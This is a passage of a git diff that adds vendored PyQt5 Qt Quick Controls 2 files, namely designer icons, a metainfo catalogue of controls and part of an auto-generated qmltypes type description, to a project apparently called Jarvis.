a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon16.png new file mode 100644 index 00000000..9ab7861c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon@2x.png new file mode 100644 index 00000000..e5958cde Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolbutton-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon.png new file mode 100644 index 00000000..5e99f06f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon16.png new file mode 100644 index 00000000..68f22c5d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon@2x.png new file mode 100644 index 00000000..549c11c6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/toolseparator-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon.png new file mode 100644 index 00000000..98eb8232 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon16.png new file mode 100644 index 00000000..ff5f95cf Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon@2x.png new file mode 100644 index 00000000..236abf0c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/images/tumbler-icon@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/qtquickcontrols2.metainfo b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/qtquickcontrols2.metainfo new file mode 100644 index 00000000..d27f1b90 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/qtquickcontrols2.metainfo @@ -0,0 +1,522 @@ +MetaInfo { + Type { + name: "QtQuick.Controls.BusyIndicator" + icon: "images/busyindicator-icon16.png" + + ItemLibraryEntry { + name: "Busy Indicator" + category: "Qt Quick - Controls 2" + libraryIcon: "images/busyindicator-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + } + } + + Type { + name: "QtQuick.Controls.Button" + icon: "images/button-icon16.png" + + ItemLibraryEntry { + name: "Button" + category: "Qt Quick - Controls 2" + libraryIcon: "images/button-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Button\")" } + } + } + + Type { + name: "QtQuick.Controls.CheckBox" + icon: "images/checkbox-icon16.png" + + ItemLibraryEntry { + name: "Check Box" + category: "Qt Quick - Controls 2" + libraryIcon: "images/checkbox-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Check Box\")" } + } + } + + Type { + name: "QtQuick.Controls.CheckDelegate" + icon: "images/checkbox-icon16.png" + + ItemLibraryEntry { + name: "Check Delegate" + category: "Qt Quick - Controls 2" + libraryIcon: "images/checkbox-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Check Delegate\")" } + } + } + + Type { + name: "QtQuick.Controls.ComboBox" + icon: "images/combobox-icon16.png" + + ItemLibraryEntry { + name: "Combo Box" + category: "Qt Quick - Controls 2" + libraryIcon: "images/combobox-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + } + } + + Type { + name: "QtQuick.Controls.DelayButton" + icon: "images/button-icon16.png" + + ItemLibraryEntry { + name: "Delay Button" + category: "Qt Quick - Controls 2" + libraryIcon: "images/delaybutton-icon.png" + version: "2.2" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Delay Button\")" } + } + } + + Type { + name: "QtQuick.Controls.Dial" + icon: "images/dial-icon16.png" + + ItemLibraryEntry { + name: "Dial" + category: "Qt Quick - Controls 2" + libraryIcon: "images/dial-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + } + } + + Type { + name: "QtQuick.Controls.Frame" + icon: "images/frame-icon16.png" + + ItemLibraryEntry { + name: "Frame" + category: "Qt Quick - Controls 2" + libraryIcon: "images/frame-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + } + } + + Type { + name: "QtQuick.Controls.GroupBox" + icon: "images/groupbox-icon16.png" + + ItemLibraryEntry { + name: "Group Box" + category: "Qt Quick - Controls 2" + libraryIcon: "images/groupbox-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + Property { name: "title"; type: "binding"; value: "qsTr(\"Group Box\")" } + } + } + + Type { + name: "QtQuick.Controls.ItemDelegate" + icon: "images/itemdelegate-icon16.png" + + ItemLibraryEntry { + name: "Item Delegate" + category: "Qt Quick - Controls 2" + libraryIcon: "images/itemdelegate-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Item Delegate\")" } + } + } + + Type { + name: "QtQuick.Controls.Label" + icon: "images/label-icon16.png" + + ItemLibraryEntry { + name: "Label" + category: "Qt Quick - Controls 2" + libraryIcon: "images/label-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Label\")" } + } + } + + Type { + name: "QtQuick.Controls.Page" + icon: "images/page-icon16.png" + + ItemLibraryEntry { + name: "Page" + category: "Qt Quick - Controls 2" + libraryIcon: "images/page-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + } + } + + Type { + name: "QtQuick.Controls.PageIndicator" + icon: "images/pageindicator-icon16.png" + + ItemLibraryEntry { + name: "Page Indicator" + category: "Qt Quick - Controls 2" + libraryIcon: "images/pageindicator-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "count"; type: "int"; value: 3 } + } + } + + Type { + name: "QtQuick.Controls.Pane" + icon: "images/pane-icon16.png" + + ItemLibraryEntry { + name: "Pane" + category: "Qt Quick - Controls 2" + libraryIcon: "images/pane-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + } + } + + Type { + name: "QtQuick.Controls.ProgressBar" + icon: "images/progressbar-icon16.png" + + ItemLibraryEntry { + name: "Progress Bar" + category: "Qt Quick - Controls 2" + libraryIcon: "images/progressbar-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "value"; type: "real"; value: 0.5 } + } + } + + Type { + name: "QtQuick.Controls.RadioButton" + icon: "images/radiobutton-icon16.png" + + ItemLibraryEntry { + name: "Radio Button" + category: "Qt Quick - Controls 2" + libraryIcon: "images/radiobutton-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Radio Button\")" } + } + } + + Type { + name: "QtQuick.Controls.RadioDelegate" + icon: "images/radiobutton-icon16.png" + + ItemLibraryEntry { + name: "Radio Delegate" + category: "Qt Quick - Controls 2" + libraryIcon: "images/radiobutton-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Radio Delegate\")" } + } + } + + Type { + name: "QtQuick.Controls.RangeSlider" + icon: "images/rangeslider-icon16.png" + + ItemLibraryEntry { + name: "Range Slider" + category: "Qt Quick - Controls 2" + libraryIcon: "images/rangeslider-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "first.value"; type: "real"; value: 0.25 } + Property { name: "second.value"; type: "real"; value: 0.75 } + } + } + + Type { + name: "QtQuick.Controls.RoundButton" + icon: "images/roundbutton-icon16.png" + + ItemLibraryEntry { + name: "Round Button" + category: "Qt Quick - Controls 2" + libraryIcon: "images/roundbutton-icon.png" + version: "2.1" + requiredImport: "QtQuick.Controls" + Property { name: "text"; type: "string"; value: "+" } + } + } + + Type { + name: "QtQuick.Controls.Slider" + icon: "images/slider-icon16.png" + + ItemLibraryEntry { + name: "Slider" + category: "Qt Quick - Controls 2" + libraryIcon: "images/slider-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "value"; type: "real"; value: 0.5 } + } + } + + Type { + name: "QtQuick.Controls.SpinBox" + icon: "images/spinbox-icon16.png" + + ItemLibraryEntry { + name: "Spin Box" + category: "Qt Quick - Controls 2" + libraryIcon: "images/spinbox-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + } + } + + Type { + name: "QtQuick.Controls.ScrollView" + icon: "images/scrollview-icon16.png" + + ItemLibraryEntry { + name: "Scroll View" + category: "Qt Quick - Controls 2" + libraryIcon: "images/scrollview-icon.png" + version: "2.2" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + } + } + + Type { + name: "QtQuick.Controls.StackView" + icon: "images/stackview-icon16.png" + + ItemLibraryEntry { + name: "Stack View" + category: "Qt Quick - Controls 2" + libraryIcon: "images/stackview-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + } + } + + Type { + name: "QtQuick.Controls.SwipeDelegate" + icon: "images/itemdelegate-icon16.png" + + ItemLibraryEntry { + name: "Swipe Delegate" + category: "Qt Quick - Controls 2" + libraryIcon: "images/itemdelegate-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Swipe Delegate\")" } + } + } + + Type { + name: "QtQuick.Controls.SwipeView" + icon: "images/swipeview-icon16.png" + + ItemLibraryEntry { + name: "Swipe View" + category: "Qt Quick - Controls 2" + libraryIcon: "images/swipeview-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 200 } + Property { name: "height"; type: "int"; value: 200 } + } + } + + Type { + name: "QtQuick.Controls.Switch" + icon: "images/switch-icon16.png" + + ItemLibraryEntry { + name: "Switch" + category: "Qt Quick - Controls 2" + libraryIcon: "images/switch-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Switch\")" } + } + } + + Type { + name: "QtQuick.Controls.SwitchDelegate" + icon: "images/switch-icon16.png" + + ItemLibraryEntry { + name: "Switch Delegate" + category: "Qt Quick - Controls 2" + libraryIcon: "images/switch-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Switch Delegate\")" } + } + } + + Type { + name: "QtQuick.Controls.TabBar" + icon: "images/toolbar-icon16.png" + + ItemLibraryEntry { + name: "Tab Bar" + category: "Qt Quick - Controls 2" + libraryIcon: "images/toolbar-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + Property { name: "width"; type: "int"; value: 240 } + } + } + + Type { + name: "QtQuick.Controls.TabButton" + icon: "images/toolbutton-icon16.png" + + ItemLibraryEntry { + name: "Tab Button" + category: "Qt Quick - Controls 2" + libraryIcon: "images/toolbutton-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + Property { name: "text"; type: "binding"; value: "qsTr(\"Tab Button\")" } + } + } + + Type { + name: "QtQuick.Controls.TextArea" + icon: "images/textarea-icon16.png" + + ItemLibraryEntry { + name: "Text Area" + category: "Qt Quick - Controls 2" + libraryIcon: "images/textarea-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "placeholderText"; type: "binding"; value: "qsTr(\"Text Area\")" } + } + } + + Type { + name: "QtQuick.Controls.TextField" + icon: "images/textfield-icon16.png" + + ItemLibraryEntry { + name: "Text Field" + category: "Qt Quick - Controls 2" + libraryIcon: "images/textfield-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "placeholderText"; type: "binding"; value: "qsTr(\"Text Field\")" } + } + } + + Type { + name: "QtQuick.Controls.ToolBar" + icon: "images/toolbar-icon16.png" + + ItemLibraryEntry { + name: "Tool Bar" + category: "Qt Quick - Controls 2" + libraryIcon: "images/toolbar-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "width"; type: "int"; value: 360 } + } + } + + Type { + name: "QtQuick.Controls.ToolButton" + icon: "images/toolbutton-icon16.png" + + ItemLibraryEntry { + name: "Tool Button" + category: "Qt Quick - Controls 2" + libraryIcon: "images/toolbutton-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "text"; type: "binding"; value: "qsTr(\"Tool Button\")" } + } + } + + Type { + name: "QtQuick.Controls.ToolSeparator" + icon: "images/toolseparator-icon16.png" + + ItemLibraryEntry { + name: "Tool Separator" + category: "Qt Quick - Controls 2" + libraryIcon: "images/toolseparator-icon.png" + version: "2.1" + requiredImport: "QtQuick.Controls" + } + } + + Type { + name: "QtQuick.Controls.Tumbler" + icon: "images/tumbler-icon16.png" + + ItemLibraryEntry { + name: "Tumbler" + category: "Qt Quick - Controls 2" + libraryIcon: "images/tumbler-icon.png" + version: "2.0" + requiredImport: "QtQuick.Controls" + + Property { name: "model"; type: "int"; value: "10" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/plugins.qmltypes new file mode 100644 index 00000000..e8212c55 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/plugins.qmltypes @@ -0,0 +1,895 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Controls 2.15' + +Module { + dependencies: [ + "QtQuick 2.11", + "QtQuick.Templates 2.5", + "QtQuick.Window 2.2" + ] + Component { + name: "QQuickCheckLabel" + defaultProperty: "data" + prototype: "QQuickText" + exports: ["QtQuick.Controls.impl/CheckLabel 2.3"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickClippedText" + defaultProperty: "data" + prototype: "QQuickText" + exports: ["QtQuick.Controls.impl/ClippedText 2.2"] + exportMetaObjectRevisions: [0] + Property { name: "clipX"; type: "double" } + Property { name: "clipY"; type: "double" } + Property { name: "clipWidth"; type: "double" } + Property { name: "clipHeight"; type: "double" } + } + Component { + name: "QQuickColor" + prototype: "QObject" + exports: ["QtQuick.Controls.impl/Color 2.3"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { + name: "transparent" + type: "QColor" + Parameter { name: "color"; type: "QColor" } + Parameter { name: "opacity"; type: "double" } + } + Method { + name: "blend" + type: "QColor" + Parameter { name: "a"; type: "QColor" } + Parameter { name: "b"; type: "QColor" } + Parameter { name: "factor"; type: "double" } + } + } + Component { + name: "QQuickColorImage" + defaultProperty: "data" + prototype: "QQuickImage" + exports: ["QtQuick.Controls.impl/ColorImage 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "color"; type: "QColor" } + Property { name: "defaultColor"; type: "QColor" } + } + Component { + name: "QQuickDefaultBusyIndicator" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.impl/BusyIndicatorImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "pen"; type: "QColor" } + Property { name: "fill"; type: "QColor" } + Property { name: "running"; type: "bool" } + } + Component { + name: "QQuickDefaultDial" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Controls.impl/DialImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "progress"; type: "double" } + Property { name: "color"; type: "QColor" } + } + Component { + name: "QQuickDefaultProgressBar" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.impl/ProgressBarImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "indeterminate"; type: "bool" } + Property { name: "progress"; type: "double" } + Property { name: "color"; type: "QColor" } + } + Component { + name: "QQuickDefaultStyle" + prototype: "QObject" + exports: ["QtQuick.Controls.impl/Default 2.1"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Property { name: "backgroundColor"; type: "QColor"; isReadonly: true } + Property { name: "overlayModalColor"; type: "QColor"; isReadonly: true } + Property { name: "overlayDimColor"; type: "QColor"; isReadonly: true } + Property { name: "textColor"; type: "QColor"; isReadonly: true } + Property { name: "textDarkColor"; type: "QColor"; isReadonly: true } + Property { name: "textLightColor"; type: "QColor"; isReadonly: true } + Property { name: "textLinkColor"; type: "QColor"; isReadonly: true } + Property { name: "textSelectionColor"; type: "QColor"; isReadonly: true } + Property { name: "textDisabledColor"; type: "QColor"; isReadonly: true } + Property { name: "textDisabledLightColor"; type: "QColor"; isReadonly: true } + Property { name: "textPlaceholderColor"; type: "QColor"; isReadonly: true } + Property { name: "focusColor"; type: "QColor"; isReadonly: true } + Property { name: "focusLightColor"; type: "QColor"; isReadonly: true } + Property { name: "focusPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonCheckedColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonCheckedPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonCheckedFocusColor"; type: "QColor"; isReadonly: true } + Property { name: "toolButtonColor"; type: "QColor"; isReadonly: true } + Property { name: "tabButtonColor"; type: "QColor"; isReadonly: true } + Property { name: "tabButtonPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "tabButtonCheckedPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "delegateColor"; type: "QColor"; isReadonly: true } + Property { name: "delegatePressedColor"; type: "QColor"; isReadonly: true } + Property { name: "delegateFocusColor"; type: "QColor"; isReadonly: true } + Property { name: "indicatorPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "indicatorDisabledColor"; type: "QColor"; isReadonly: true } + Property { name: "indicatorFrameColor"; type: "QColor"; isReadonly: true } + Property { name: "indicatorFramePressedColor"; type: "QColor"; isReadonly: true } + Property { name: "indicatorFrameDisabledColor"; type: "QColor"; isReadonly: true } + Property { name: "frameDarkColor"; type: "QColor"; isReadonly: true } + Property { name: "frameLightColor"; type: "QColor"; isReadonly: true } + Property { name: "scrollBarColor"; type: "QColor"; isReadonly: true } + Property { name: "scrollBarPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "progressBarColor"; type: "QColor"; isReadonly: true } + Property { name: "pageIndicatorColor"; type: "QColor"; isReadonly: true } + Property { name: "separatorColor"; type: "QColor"; isReadonly: true } + Property { name: "disabledDarkColor"; type: "QColor"; isReadonly: true } + Property { name: "disabledLightColor"; type: "QColor"; isReadonly: true } + } + Component { + name: "QQuickIconImage" + defaultProperty: "data" + prototype: "QQuickImage" + exports: ["QtQuick.Controls.impl/IconImage 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Property { name: "color"; type: "QColor" } + } + Component { + name: "QQuickIconLabel" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.impl/IconLabel 2.3"] + exportMetaObjectRevisions: [0] + Enum { + name: "Display" + values: { + "IconOnly": 0, + "TextOnly": 1, + "TextBesideIcon": 2, + "TextUnderIcon": 3 + } + } + Property { name: "icon"; type: "QQuickIcon" } + Property { name: "text"; type: "string" } + Property { name: "font"; type: "QFont" } + Property { name: "color"; type: "QColor" } + Property { name: "display"; type: "Display" } + Property { name: "spacing"; type: "double" } + Property { name: "mirrored"; type: "bool" } + Property { name: "alignment"; type: "Qt::Alignment" } + Property { name: "topPadding"; type: "double" } + Property { name: "leftPadding"; type: "double" } + Property { name: "rightPadding"; type: "double" } + Property { name: "bottomPadding"; type: "double" } + } + Component { + name: "QQuickImplicitSizeItem" + defaultProperty: "data" + prototype: "QQuickItem" + Property { name: "implicitWidth"; type: "double"; isReadonly: true } + Property { name: "implicitHeight"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickItemGroup" + defaultProperty: "data" + prototype: "QQuickImplicitSizeItem" + exports: ["QtQuick.Controls.impl/ItemGroup 2.2"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickMnemonicLabel" + defaultProperty: "data" + prototype: "QQuickText" + exports: ["QtQuick.Controls.impl/MnemonicLabel 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "text"; type: "string" } + Property { name: "mnemonicVisible"; type: "bool" } + } + Component { + name: "QQuickOverlay" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls/Overlay 2.3"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickOverlayAttached" + Property { name: "modal"; type: "QQmlComponent"; isPointer: true } + Property { name: "modeless"; type: "QQmlComponent"; isPointer: true } + Signal { name: "pressed" } + Signal { name: "released" } + } + Component { + name: "QQuickPaddedRectangle" + defaultProperty: "data" + prototype: "QQuickRectangle" + exports: ["QtQuick.Controls.impl/PaddedRectangle 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "padding"; type: "double" } + Property { name: "topPadding"; type: "double" } + Property { name: "leftPadding"; type: "double" } + Property { name: "rightPadding"; type: "double" } + Property { name: "bottomPadding"; type: "double" } + } + Component { + name: "QQuickPlaceholderText" + defaultProperty: "data" + prototype: "QQuickText" + exports: ["QtQuick.Controls.impl/PlaceholderText 2.2"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickSplitHandleAttached" + prototype: "QObject" + exports: ["QtQuick.Controls/SplitHandle 2.13"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "pressed"; type: "bool"; isReadonly: true } + } + Component { + name: "QQuickText" + defaultProperty: "data" + prototype: "QQuickImplicitSizeItem" + Enum { + name: "HAlignment" + values: { + "AlignLeft": 1, + "AlignRight": 2, + "AlignHCenter": 4, + "AlignJustify": 8 + } + } + Enum { + name: "VAlignment" + values: { + "AlignTop": 32, + "AlignBottom": 64, + "AlignVCenter": 128 + } + } + Enum { + name: "TextStyle" + values: { + "Normal": 0, + "Outline": 1, + "Raised": 2, + "Sunken": 3 + } + } + Enum { + name: "TextFormat" + values: { + "PlainText": 0, + "RichText": 1, + "MarkdownText": 3, + "AutoText": 2, + "StyledText": 4 + } + } + Enum { + name: "TextElideMode" + values: { + "ElideLeft": 0, + "ElideRight": 1, + "ElideMiddle": 2, + "ElideNone": 3 + } + } + Enum { + name: "WrapMode" + values: { + "NoWrap": 0, + "WordWrap": 1, + "WrapAnywhere": 3, + "WrapAtWordBoundaryOrAnywhere": 4, + "Wrap": 4 + } + } + Enum { + name: "RenderType" + values: { + "QtRendering": 0, + "NativeRendering": 1 + } + } + Enum { + name: "LineHeightMode" + values: { + "ProportionalHeight": 0, + "FixedHeight": 1 + } + } + Enum { + name: "FontSizeMode" + values: { + "FixedSize": 0, + "HorizontalFit": 1, + "VerticalFit": 2, + "Fit": 3 + } + } + Property { name: "text"; type: "string" } + Property { name: "font"; type: "QFont" } + Property { name: "color"; type: "QColor" } + Property { name: "linkColor"; type: "QColor" } + Property { name: "style"; type: "TextStyle" } + Property { name: "styleColor"; type: "QColor" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "truncated"; type: "bool"; isReadonly: true } + Property { name: "maximumLineCount"; type: "int" } + Property { name: "textFormat"; type: "TextFormat" } + Property { name: "elide"; type: "TextElideMode" } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "lineHeight"; type: "double" } + Property { name: "lineHeightMode"; type: "LineHeightMode" } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "minimumPixelSize"; type: "int" } + Property { name: "minimumPointSize"; type: "int" } + Property { name: "fontSizeMode"; type: "FontSizeMode" } + Property { name: "renderType"; type: "RenderType" } + Property { name: "hoveredLink"; revision: 2; type: "string"; isReadonly: true } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Property { name: "fontInfo"; revision: 9; type: "QJSValue"; isReadonly: true } + Property { name: "advance"; revision: 10; type: "QSizeF"; isReadonly: true } + Signal { + name: "textChanged" + Parameter { name: "text"; type: "string" } + } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + revision: 2 + Parameter { name: "link"; type: "string" } + } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "styleChanged" + Parameter { name: "style"; type: "QQuickText::TextStyle" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickText::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickText::VAlignment" } + } + Signal { + name: "textFormatChanged" + Parameter { name: "textFormat"; type: "QQuickText::TextFormat" } + } + Signal { + name: "elideModeChanged" + Parameter { name: "mode"; type: "QQuickText::TextElideMode" } + } + Signal { name: "contentSizeChanged" } + Signal { + name: "contentWidthChanged" + Parameter { name: "contentWidth"; type: "double" } + } + Signal { + name: "contentHeightChanged" + Parameter { name: "contentHeight"; type: "double" } + } + Signal { + name: "lineHeightChanged" + Parameter { name: "lineHeight"; type: "double" } + } + Signal { + name: "lineHeightModeChanged" + Parameter { name: "mode"; type: "LineHeightMode" } + } + Signal { + name: "lineLaidOut" + Parameter { name: "line"; type: "QQuickTextLine"; isPointer: true } + } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Signal { name: "fontInfoChanged"; revision: 9 } + Method { name: "doLayout" } + Method { name: "forceLayout"; revision: 9 } + Method { + name: "linkAt" + revision: 3 + type: "string" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickTumblerView" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.impl/TumblerView 2.1"] + exportMetaObjectRevisions: [0] + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "path"; type: "QQuickPath"; isPointer: true } + } + Component { + prototype: "QQuickAbstractButton" + name: "QtQuick.Controls/AbstractButton 2.0" + exports: ["QtQuick.Controls/AbstractButton 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickAction" + name: "QtQuick.Controls/Action 2.3" + exports: ["QtQuick.Controls/Action 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + } + Component { + prototype: "QQuickActionGroup" + name: "QtQuick.Controls/ActionGroup 2.3" + exports: ["QtQuick.Controls/ActionGroup 2.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "actions" + } + Component { + prototype: "QQuickApplicationWindow" + name: "QtQuick.Controls/ApplicationWindow 2.0" + exports: ["QtQuick.Controls/ApplicationWindow 